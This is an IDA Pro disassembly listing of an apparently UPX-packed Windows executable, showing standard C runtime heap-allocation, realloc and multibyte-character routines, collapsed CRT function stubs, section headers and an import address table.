		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_4CD13E
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_4CD12D
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_4CD136
; ---------------------------------------------------------------------------


loc_4CD12D:				; CODE XREF: sub_4CD0F9+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_4CD136:				; CODE XREF: sub_4CD0F9+32j
		lea	eax, [edi+8]
		jmp	loc_4CD20C
; ---------------------------------------------------------------------------


loc_4CD13E:				; CODE XREF: sub_4CD0F9+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_4CD147
		mov	eax, esi


loc_4CD147:				; CODE XREF: sub_4CD0F9+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_4CD191


loc_4CD14E:				; CODE XREF: sub_4CD0F9+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_4CD184
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_4CD15A:				; CODE XREF: sub_4CD0F9+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4CD163
		inc	ebx
		inc	esi
		jmp	short loc_4CD15A
; ---------------------------------------------------------------------------


loc_4CD163:				; CODE XREF: sub_4CD0F9+64j
		cmp	esi, edx
		jnb	short loc_4CD1B5
		cmp	eax, [ebp+var_4]
		jnz	short loc_4CD171
		mov	[ecx+4], esi
		jmp	short loc_4CD17D
; ---------------------------------------------------------------------------


loc_4CD171:				; CODE XREF: sub_4CD0F9+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_4CD216


loc_4CD17D:				; CODE XREF: sub_4CD0F9+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_4CD189
; ---------------------------------------------------------------------------


loc_4CD184:				; CODE XREF: sub_4CD0F9+59j
		movzx	esi, bl
		add	eax, esi


loc_4CD189:				; CODE XREF: sub_4CD0F9+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_4CD14E


loc_4CD191:				; CODE XREF: sub_4CD0F9+53j
		lea	esi, [ecx+8]


loc_4CD194:				; CODE XREF: sub_4CD0F9+EBj
					; sub_4CD0F9+F2j
		cmp	esi, edi
		jnb	short loc_4CD216
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_4CD216
		mov	al, [esi]
		test	al, al
		jnz	short loc_4CD1E6
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_4CD1AC:				; CODE XREF: sub_4CD0F9+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_4CD1D6
		inc	ebx
		inc	eax
		jmp	short loc_4CD1AC
; ---------------------------------------------------------------------------


loc_4CD1B5:				; CODE XREF: sub_4CD0F9+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_4CD1C6
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_4CD1CF
; ---------------------------------------------------------------------------


loc_4CD1C6:				; CODE XREF: sub_4CD0F9+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_4CD1CF:				; CODE XREF: sub_4CD0F9+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_4CD20C
; ---------------------------------------------------------------------------


loc_4CD1D6:				; CODE XREF: sub_4CD0F9+B6j
		cmp	eax, edx
		jnb	short loc_4CD1ED
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_4CD216
		mov	esi, ebx
		jmp	short loc_4CD194
; ---------------------------------------------------------------------------


loc_4CD1E6:				; CODE XREF: sub_4CD0F9+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_4CD194
; ---------------------------------------------------------------------------


loc_4CD1ED:				; CODE XREF: sub_4CD0F9+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_4CD1FE
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_4CD207
; ---------------------------------------------------------------------------


loc_4CD1FE:				; CODE XREF: sub_4CD0F9+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_4CD207:				; CODE XREF: sub_4CD0F9+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_4CD20C:				; CODE XREF: sub_4CD0F9+40j
					; sub_4CD0F9+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_4CD218
; ---------------------------------------------------------------------------


loc_4CD216:				; CODE XREF: sub_4CD0F9+7Ej
					; sub_4CD0F9+9Dj ...
		xor	eax, eax


loc_4CD218:				; CODE XREF: sub_4CD0F9+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CD0F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD21D	proc near		; CODE XREF: sub_4CEEC3+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_4CD257
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_4CD2B7
; ---------------------------------------------------------------------------


loc_4CD257:				; CODE XREF: sub_4CD21D+26j
		jnb	short loc_4CD2BE
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_4CD2BE
		lea	eax, [ecx+edx]


loc_4CD26C:				; CODE XREF: sub_4CD21D+59j
		cmp	eax, esi
		jnb	short loc_4CD27A
		cmp	byte ptr [eax],	0
		jnz	short loc_4CD278
		inc	eax
		jmp	short loc_4CD26C
; ---------------------------------------------------------------------------


loc_4CD278:				; CODE XREF: sub_4CD21D+56j
		cmp	eax, esi


loc_4CD27A:				; CODE XREF: sub_4CD21D+51j
		jnz	short loc_4CD2BE
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_4CD2B2
		cmp	esi, eax
		jbe	short loc_4CD2B2
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_4CD2A9
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_4CD2A4


loc_4CD29D:				; CODE XREF: sub_4CD21D+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_4CD29D


loc_4CD2A4:				; CODE XREF: sub_4CD21D+7Ej
		mov	[ebx+4], eax
		jmp	short loc_4CD2B2
; ---------------------------------------------------------------------------


loc_4CD2A9:				; CODE XREF: sub_4CD21D+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_4CD2B2:				; CODE XREF: sub_4CD21D+68j
					; sub_4CD21D+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_4CD2B7:				; CODE XREF: sub_4CD21D+38j
		mov	[ebp+var_4], 1


loc_4CD2BE:				; CODE XREF: sub_4CD21D:loc_4CD257j
					; sub_4CD21D+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CD21D	endp

; [0000009A BYTES: COLLAPSED FUNCTION __lseek_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write_0. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty_0. PRESS	KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio_0. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio_0. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp_0. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv_0. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CDAAD	proc near		; CODE XREF: __ismbblead_0+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4F4DC1[eax], cl
		jnz	short loc_4CDADA
		cmp	[esp+arg_4], 0
		jz	short loc_4CDAD3
		movzx	eax, word_4EF35E[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_4CDAD5
; ---------------------------------------------------------------------------


loc_4CDAD3:				; CODE XREF: sub_4CDAAD+16j
		xor	eax, eax


loc_4CDAD5:				; CODE XREF: sub_4CDAAD+24j
		test	eax, eax
		jnz	short loc_4CDADA
		retn
; ---------------------------------------------------------------------------


loc_4CDADA:				; CODE XREF: sub_4CDAAD+Fj
					; sub_4CDAAD+2Aj
		push	1
		pop	eax
		retn
sub_4CDAAD	endp

; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp_0. PRESS KEYPAD	"+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP_0. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CDEBE	proc near		; CODE XREF: sub_4CBD81+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	_strtoxl_0
		add	esp, 10h
		retn
sub_4CDEBE	endp

; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr_0. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr_0. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd_0. PRESS KEYPAD "+"	TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall_0. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush_0. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CE42E	proc near		; CODE XREF: ___endstdio_0p
		push	1
		call	_flsall_0
		pop	ecx
		retn
sub_4CE42E	endp

; [0000006D BYTES: COLLAPSED FUNCTION _flsall_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CE4A4	proc near		; CODE XREF: __output_0+3AAp
					; __output_0+3CBp ...
		push	2
		call	__amsg_exit_0
		pop	ecx
		retn
sub_4CE4A4	endp

; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll_0. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA_0. PRESS KEYPAD "+" TO	EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose_0. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit_0. PRESS	KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ_0. PRESS KEYPAD "+"	TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf_0. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4CEEC3(void *Src,size_t Size)

sub_4CEEC3	proc near		; CODE XREF: ___crtsetenv_0+EDp
					; ___crtsetenv_0+115p

var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+Src], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4CEEDE
		push	[ebp+Size]	; Size
		call	_malloc_0
		pop	ecx
		jmp	loc_4CF15E
; ---------------------------------------------------------------------------


loc_4CEEDE:				; CODE XREF: sub_4CEEC3+Bj
		mov	esi, [ebp+Size]
		test	esi, esi
		jnz	short loc_4CEEF3
		push	[ebp+Src]
		call	sub_4CA2FB
		pop	ecx
		jmp	loc_4CF15C
; ---------------------------------------------------------------------------


loc_4CEEF3:				; CODE XREF: sub_4CEEC3+20j
		mov	eax, dword_4F5F04
		cmp	eax, 3
		jnz	loc_4CF003


loc_4CEF01:				; CODE XREF: sub_4CEEC3+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4CEFDF
		push	[ebp+Src]
		call	___sbh_find_block_0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_4CEFBA
		cmp	esi, dword_4F5EFC
		ja	short loc_4CEF73
		mov	edi, [ebp+Src]
		push	esi
		push	edi
		push	ebx
		call	___sbh_resize_block_0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4CEF6F
		push	esi
		call	___sbh_alloc_block_0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4CEF73
		mov	ebx, [ebp+Src]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4CEF53
		mov	eax, esi


loc_4CEF53:				; CODE XREF: sub_4CEEC3+8Cj
		push	eax		; Size
		push	ebx		; Src
		push	edi		; Dst
		call	_memcpy_1
		push	ebx
		call	___sbh_find_block_0
		push	[ebp+Src]
		mov	ebx, eax
		push	ebx
		call	sub_4CC125
		add	esp, 18h


loc_4CEF6F:				; CODE XREF: sub_4CEEC3+74j
		test	edi, edi
		jnz	short loc_4CEFB6


loc_4CEF73:				; CODE XREF: sub_4CEEC3+62j
					; sub_4CEEC3+81j
		test	esi, esi
		jnz	short loc_4CEF7A
		push	1
		pop	esi


loc_4CEF7A:				; CODE XREF: sub_4CEEC3+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4F5F00
		call	dword_4ED18C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4CEFB6
		mov	ecx, [ebp+Src]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4CEFA2
		mov	eax, esi


loc_4CEFA2:				; CODE XREF: sub_4CEEC3+DBj
		push	eax		; Size
		push	ecx		; Src
		push	edi		; Dst
		call	_memcpy_1
		push	[ebp+Src]
		push	ebx
		call	sub_4CC125
		add	esp, 14h


loc_4CEFB6:				; CODE XREF: sub_4CEEC3+AEj
					; sub_4CEEC3+D0j
		test	ebx, ebx
		jnz	short loc_4CEFDB


loc_4CEFBA:				; CODE XREF: sub_4CEEC3+56j
		test	esi, esi
		jnz	short loc_4CEFC1
		push	1
		pop	esi


loc_4CEFC1:				; CODE XREF: sub_4CEEC3+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4F5F00
		call	dword_4ED154	; RtlReAllocateHeap
		mov	edi, eax


loc_4CEFDB:				; CODE XREF: sub_4CEEC3+F5j
		test	edi, edi
		jnz	short loc_4CEFFC


loc_4CEFDF:				; CODE XREF: sub_4CEEC3+43j
		cmp	dword_4F4C44, 0
		jz	short loc_4CEFFC
		push	esi
		call	__callnewh_0
		test	eax, eax
		pop	ecx
		jnz	loc_4CEF01
		jmp	loc_4CF15C
; ---------------------------------------------------------------------------


loc_4CEFFC:				; CODE XREF: sub_4CEEC3+11Aj
					; sub_4CEEC3+123j ...
		mov	eax, edi
		jmp	loc_4CF15E
; ---------------------------------------------------------------------------


loc_4CF003:				; CODE XREF: sub_4CEEC3+38j
		cmp	eax, 2
		jnz	loc_4CF11E
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4CF020
		test	esi, esi
		jbe	short loc_4CF01D
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4CF020
; ---------------------------------------------------------------------------


loc_4CF01D:				; CODE XREF: sub_4CEEC3+150j
		push	10h
		pop	esi


loc_4CF020:				; CODE XREF: sub_4CEEC3+14Cj
					; sub_4CEEC3+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4CF100
		lea	eax, [ebp+Size]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+Src]
		call	sub_4CCE55
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_4CF0E4
		cmp	esi, dword_4F177C
		jnb	short loc_4CF0A8
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_4CD21D
		add	esp, 10h
		test	eax, eax
		jz	short loc_4CF06E
		mov	edi, [ebp+Src]
		jmp	short loc_4CF0A0
; ---------------------------------------------------------------------------


loc_4CF06E:				; CODE XREF: sub_4CEEC3+1A4j
		push	edi
		call	sub_4CCEF1
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4CF0A8
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_4CF087
		mov	eax, esi


loc_4CF087:				; CODE XREF: sub_4CEEC3+1C0j
		push	eax		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	_memcpy_1
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_4CCEAC
		add	esp, 18h


loc_4CF0A0:				; CODE XREF: sub_4CEEC3+1A9j
		test	edi, edi
		jnz	loc_4CEFFC


loc_4CF0A8:				; CODE XREF: sub_4CEEC3+18Bj
					; sub_4CEEC3+1B6j
		push	esi
		push	0
		push	dword_4F5F00
		call	dword_4ED18C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4CF100
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_4CF0C9
		mov	eax, esi


loc_4CF0C9:				; CODE XREF: sub_4CEEC3+202j
		push	eax		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	_memcpy_1
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_4CCEAC
		add	esp, 18h
		jmp	short loc_4CF0F8
; ---------------------------------------------------------------------------


loc_4CF0E4:				; CODE XREF: sub_4CEEC3+17Fj
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4F5F00
		call	dword_4ED154	; RtlReAllocateHeap
		mov	edi, eax


loc_4CF0F8:				; CODE XREF: sub_4CEEC3+21Fj
		test	edi, edi
		jnz	loc_4CEFFC


loc_4CF100:				; CODE XREF: sub_4CEEC3+162j
					; sub_4CEEC3+1F8j
		cmp	dword_4F4C44, 0
		jz	loc_4CEFFC
		push	esi
		call	__callnewh_0
		test	eax, eax
		pop	ecx
		jnz	loc_4CF020
		jmp	short loc_4CF15C
; ---------------------------------------------------------------------------


loc_4CF11E:				; CODE XREF: sub_4CEEC3+143j
					; sub_4CEEC3+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4CF148
		test	esi, esi
		jnz	short loc_4CF12C
		push	1
		pop	esi


loc_4CF12C:				; CODE XREF: sub_4CEEC3+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4F5F00
		call	dword_4ED154	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4CF15E


loc_4CF148:				; CODE XREF: sub_4CEEC3+260j
		cmp	dword_4F4C44, 0
		jz	short loc_4CF15E
		push	esi
		call	__callnewh_0
		test	eax, eax
		pop	ecx
		jnz	short loc_4CF11E


loc_4CF15C:				; CODE XREF: sub_4CEEC3+2Bj
					; sub_4CEEC3+134j ...
		xor	eax, eax


loc_4CF15E:				; CODE XREF: sub_4CEEC3+16j
					; sub_4CEEC3+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CEEC3	endp

; [00000073 BYTES: COLLAPSED FUNCTION __mbschr_0. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4CF210	proc near		; CODE XREF: __global_unwind2_0+13p
		jmp	dword_4ED19C
sub_4CF210	endp

; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AD BYTES: COLLAPSED FUNCTION __strnicmp. PRESS	KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW_0. PRESS KEYPAD "+" TO	EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype_0. PRESS KEYPAD	"+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
		dd 124Fh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: UPX0:off_42D644o
		dd 23ABh dup(0)
_text		ends

; Section 5. (virtual address 000DD000)
; Virtual size			: 00010000 (  65536.)
; Section size in file		: 00010000 (  65536.)
; Offset to raw	data for section: 000DD000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 4DD000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0C12h dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: UPX0:0042BC94o
		dd 1040h dup(0)
dword_4E414C	dd 23ADh dup(0)		; DATA XREF: UPX0:off_42CE44o
_adata		ends

; Section 6. (virtual address 000ED000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 000ED000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 4ED000h
dword_4ED000	dd 77C72C6Bh		; DATA XREF: sub_4B6828+354r
					; sub_4B6F14+122r
dword_4ED004	dd 77C7DC0Bh		; DATA XREF: sub_4B6828+317r
					; sub_4B6F14+CBr
dword_4ED008	dd 77C7413Eh		; DATA XREF: sub_4B6828+30Ar
					; sub_4B6828+34Ar ...
dword_4ED00C	dd 77C76B34h		; DATA XREF: sub_4B6828+2E5r
dword_4ED010	dd 77C75890h		; DATA XREF: sub_4B6828+2A5r
dword_4ED014	dd 77C72889h		; DATA XREF: sub_4B6F14+164r
					; sub_4B6F14+184r
dword_4ED018	dd 77C729E2h		; DATA XREF: sub_4B6F14+F4r
dword_4ED01C	dd 77C71BB0h		; DATA XREF: sub_4B6F14+99r
					; sub_4B6F14+118r
dword_4ED020	dd 77C7212Fh		; DATA XREF: sub_4B6F14+85r
dword_4ED024	dd 77C76DB8h		; DATA XREF: sub_4B6828+331r
		dd 0
dword_4ED02C	dd 77E7AC37h		; DATA XREF: sub_4B3AA2+17r
					; .text:004B5698r ...
dword_4ED030	dd 77E71B14h		; DATA XREF: sub_4B3AFF+199r
					; sub_4B3AFF+222r ...
dword_4ED034	dd 77E7166Fh		; DATA XREF: sub_4B3AFF+17Cr
					; sub_4B3AFF+205r ...
dword_4ED038	dd 77E736A3h		; DATA XREF: sub_4B3AFF+16Fr
					; sub_4B3AFF+1F8r ...
dword_4ED03C	dd 77E7751Ah		; DATA XREF: sub_4B3AFF+10r
					; sub_4B3AFF+74r ...
dword_4ED040	dd 77E79924h		; DATA XREF: sub_4B3E30+2Er
					; __tzset_0+ABr ...
dword_4ED044	dd 77E7339Ch		; DATA XREF: sub_4B3E30+9r
dword_4ED048	dd 77E6C674h		; DATA XREF: sub_4B3E69+92r
					; sub_4B3E69+A1r ...
dword_4ED04C	dd 77E6D36Bh		; DATA XREF: sub_4B3E69+45r
					; sub_4B3E69+54r ...
dword_4ED050	dd 77E79F93h		; DATA XREF: sub_4B3F59+3Dr
					; sub_4B3F59+7Fr ...
dword_4ED054	dd 77E73803h		; DATA XREF: sub_4B40C4+44Cr
dword_4ED058	dd 77E99F21h		; DATA XREF: sub_4B40C4+1ECr
					; sub_4B40C4+203r
dword_4ED05C	dd 77E6D28Ch		; DATA XREF: sub_4B40C4+13Er
					; sub_4B40C4+149r ...
dword_4ED060	dd 77E6D4C2h		; DATA XREF: sub_4B40C4+BDr
					; sub_4B40C4+D4r
dword_4ED064	dd 77EC5E29h		; DATA XREF: sub_4B45FB+1DAr
					; .text:004B9C33r
dword_4ED068	dd 77E7AC5Eh		; DATA XREF: sub_4B4965+13Fr
					; .text:004B590Dr ...
dword_4ED06C	dd 77E6169Ah		; DATA XREF: .text:004B5239r
dword_4ED070	dd 77E7980Ah		; DATA XREF: .text:004B4EDBr
					; .text:004B4F7Ar ...
dword_4ED074	dd 77E7A5FDh		; DATA XREF: sub_4B5417+D9r
					; sub_4B5417+12Fr ...
dword_4ED078	dd 77F5157Dh		; DATA XREF: sub_4B5417+78r
					; .text:004B5795r ...
dword_4ED07C	dd 77E805D8h		; DATA XREF: sub_4B5417+5Fr
					; .text:004B5B3Ar ...
dword_4ED080	dd 77F51587h		; DATA XREF: sub_4B5417+55r
dword_4ED084	dd 77E715F7h		; DATA XREF: .text:004B5B28r
					; sub_4B78A3+38r
dword_4ED088	dd 77E73163h		; DATA XREF: .text:004B5B21r
					; sub_4B78A3+31r
dword_4ED08C	dd 77E61BB8h		; DATA XREF: .text:004B5A6Fr
					; .text:004B9987r
dword_4ED090	dd 77E7C938h		; DATA XREF: .text:004B5A61r
					; .text:004B9979r ...
dword_4ED094	dd 77E6177Ah		; DATA XREF: .text:004B59B1r
					; .text:004B98C5r ...
dword_4ED098	dd 77E6BD68h		; DATA XREF: .text:004B5985r
					; .text:004B5F6Cr ...
dword_4ED09C	dd 77E776A0h		; DATA XREF: .text:004B58B4r
dword_4ED0A0	dd 77E79D5Bh		; DATA XREF: .text:004B57B2r
dword_4ED0A4	dd 77E7C2C4h		; DATA XREF: .text:004B577Cr
					; .text:004B5D35r ...
dword_4ED0A8	dd 77E8074Ah		; DATA XREF: .text:004B570Fr
					; .text:004B5B11r
